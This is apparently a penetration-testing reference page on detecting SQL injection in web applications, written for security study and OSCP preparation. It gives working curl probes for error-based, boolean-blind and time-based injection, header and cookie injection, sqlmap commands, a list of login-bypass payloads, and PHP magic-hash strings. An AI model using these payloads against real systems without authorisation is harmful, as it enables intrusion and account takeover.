# SQL Injection Detection

> Detect SQL injection vulnerabilities in HTTP/HTTPS services using manual probing, automated scanning, and error-based analysis techniques.

- **URL:** https://hackindex.io/services/web/vulnerability-discovery/sql-injection-detection
- **Path:** HTTP/HTTPS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/web/vulnerability-discovery.md)
- **Published:** 2026-03-28
- **Updated:** 2026-08-11

SQL injection detection confirms whether user-supplied input is interpreted by a backend database. The goal here is to prove the condition exists and identify the injection type: not to extract data. Confirmed injection moves to [SQL injection exploitation](https://hackindex.io/services/web/exploitation/sql-injection).

- **Error-based detection** injects a single quote and watches for database error messages in the response.
- **Boolean-blind detection** compares response sizes between true (1=1) and false (1=2) conditions.
- **Time-based blind detection** injects SLEEP or WAITFOR DELAY and measures the response delay.
- **POST and header injection** tests login forms, cookies, and headers like X-Forwarded-For.
- **sqlmap automated detection** scans multiple parameters and injection types with one command.

Target any parameter that likely hits a database: id, user, search, category, order, sort, page, filter. Parameters discovered during [parameter crawling](https://hackindex.io/services/web/enumeration/parameter-crawling) are your starting list.

## Error-Based Detection

Inject a single quote and watch for database error messages in the response. An error proves the input reaches a SQL query without sanitization:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1'" | grep -iE 'sql|mysql|syntax|error|warning|ORA-|pg_'
# You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1\"" | grep -iE 'sql|syntax|error|warning'
```

A MySQL syntax error is a confirmed injection point. Note the database type from the error message: it determines the payload syntax for exploitation. ORA- prefix means Oracle, pg_ means PostgreSQL.

## Boolean-Based Blind Detection

When errors are suppressed, compare responses between a true and false condition. Different response sizes or content confirm blind SQLi:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=1" | wc -c
# 4823
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=2" | wc -c
# 612
```

Different response sizes for true versus false conditions confirms boolean-blind SQLi. The true condition returns the normal page while the false condition returns a shorter or empty page.

## Time-Based Blind Detection

When no response difference is visible, inject a sleep and measure the delay. This works even when the application returns identical responses for all inputs:

```bash
time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND SLEEP(5)-- -"
# real    0m5.123s
```

```bash
time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1; WAITFOR DELAY '0:0:5'--"
```

A 5-second delay matching the SLEEP parameter confirms time-based blind SQLi. SLEEP is MySQL syntax. WAITFOR DELAY is MSSQL. pg_sleep(5) is PostgreSQL. Try all three if the database type is unknown.

## POST Parameter and Header Injection

SQLi is not limited to GET parameters. Test POST bodies, cookies, and HTTP headers:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/login -d "username=admin'--&password=anything" | grep -iE 'sql|syntax|error|welcome|dashboard'
```

```bash
curl -sk http://$TARGET_IP:$PORT/dashboard -H "Cookie: user_id=1'" | grep -iE 'sql|error|syntax'
```

```bash
curl -sk http://$TARGET_IP:$PORT/ -H "X-Forwarded-For: 1'" | grep -iE 'sql|error|syntax'
```

## Automated Detection with sqlmap

sqlmap automates all detection types. Use it for quick confirmation across multiple parameters:

> [!CAUTION]
> This tool is prohibited in the OSCP exam. Do not use during exam environments.

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --level=3 --risk=2
```

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --forms --crawl=2
```

## Authentication Bypass Payloads

Login forms are a common SQL injection target because the backend query compares submitted credentials directly against the database. If the WHERE clause uses user input without parameterization, a payload can make the condition always true and bypass authentication entirely.

```
' OR 1=1--
' OR '1'='1
admin'--
' OR 1=1#
" OR 1=1--
admin" OR "1"="1
') OR ('1'='1
admin')--
```

The comment character at the end of a payload is critical because it truncates the rest of the original query. Database-specific comment variants:

- `--` (with a trailing space) works on MySQL, MSSQL, and PostgreSQL
- `#` is MySQL-specific
- `/*` works as a block comment on MySQL, MSSQL, and PostgreSQL

Try all three when the backend database is unknown. A payload that works with `#` but not `--` confirms MySQL.

Test each field independently: inject in the username field with an arbitrary password first, then try a valid username with the payload in the password field. Some applications validate one field before constructing the query with the other.

**Bypass via username field**

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/login -d "username=admin'--&password=anything" -v 2>&1 | grep -iE 'location|welcome|dashboard|302'
# < HTTP/1.1 302 Found
# < Location: /dashboard
```

**Bypass via password field with MySQL comment**

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/login -d "username=admin&password=' OR 1=1#" -v 2>&1 | grep -iE 'location|welcome|dashboard|302'
```

A 302 redirect to a dashboard or admin panel confirms the bypass. Check the response body for authenticated content such as session tokens or user details.

### Raw Hash Bypass (PHP Loose Comparison)

When a PHP application stores password hashes and compares them with `==` instead of `===`, certain MD5 hashes starting with `0e` followed by only digits are interpreted as zero in scientific notation. Two different strings whose MD5 hashes both match `0e[0-9]+` compare as equal under loose comparison.

```
240610708  -> MD5: 0e462097431906509019562988736854
QNKCDZO   -> MD5: 0e830400451993494058024219903391
aabg7XSs  -> MD5: 0e087386482136013740957780965295
aabC9RqS  -> MD5: 0e041022518165728065344349536299
```

If the login form hashes the submitted input and compares it loosely against the stored hash, submitting one of these strings as the password for a user whose hash also starts with `0e` bypasses authentication. This is PHP-specific and only applies when comparison uses `==` on the hash strings.

## References

- [sqlmap](https://github.com/sqlmapproject/sqlmap) - Automated SQL injection detection and exploitation tool
- [PortSwigger: SQL Injection](https://portswigger.net/web-security/sql-injection) - Detection methodology and injection type reference
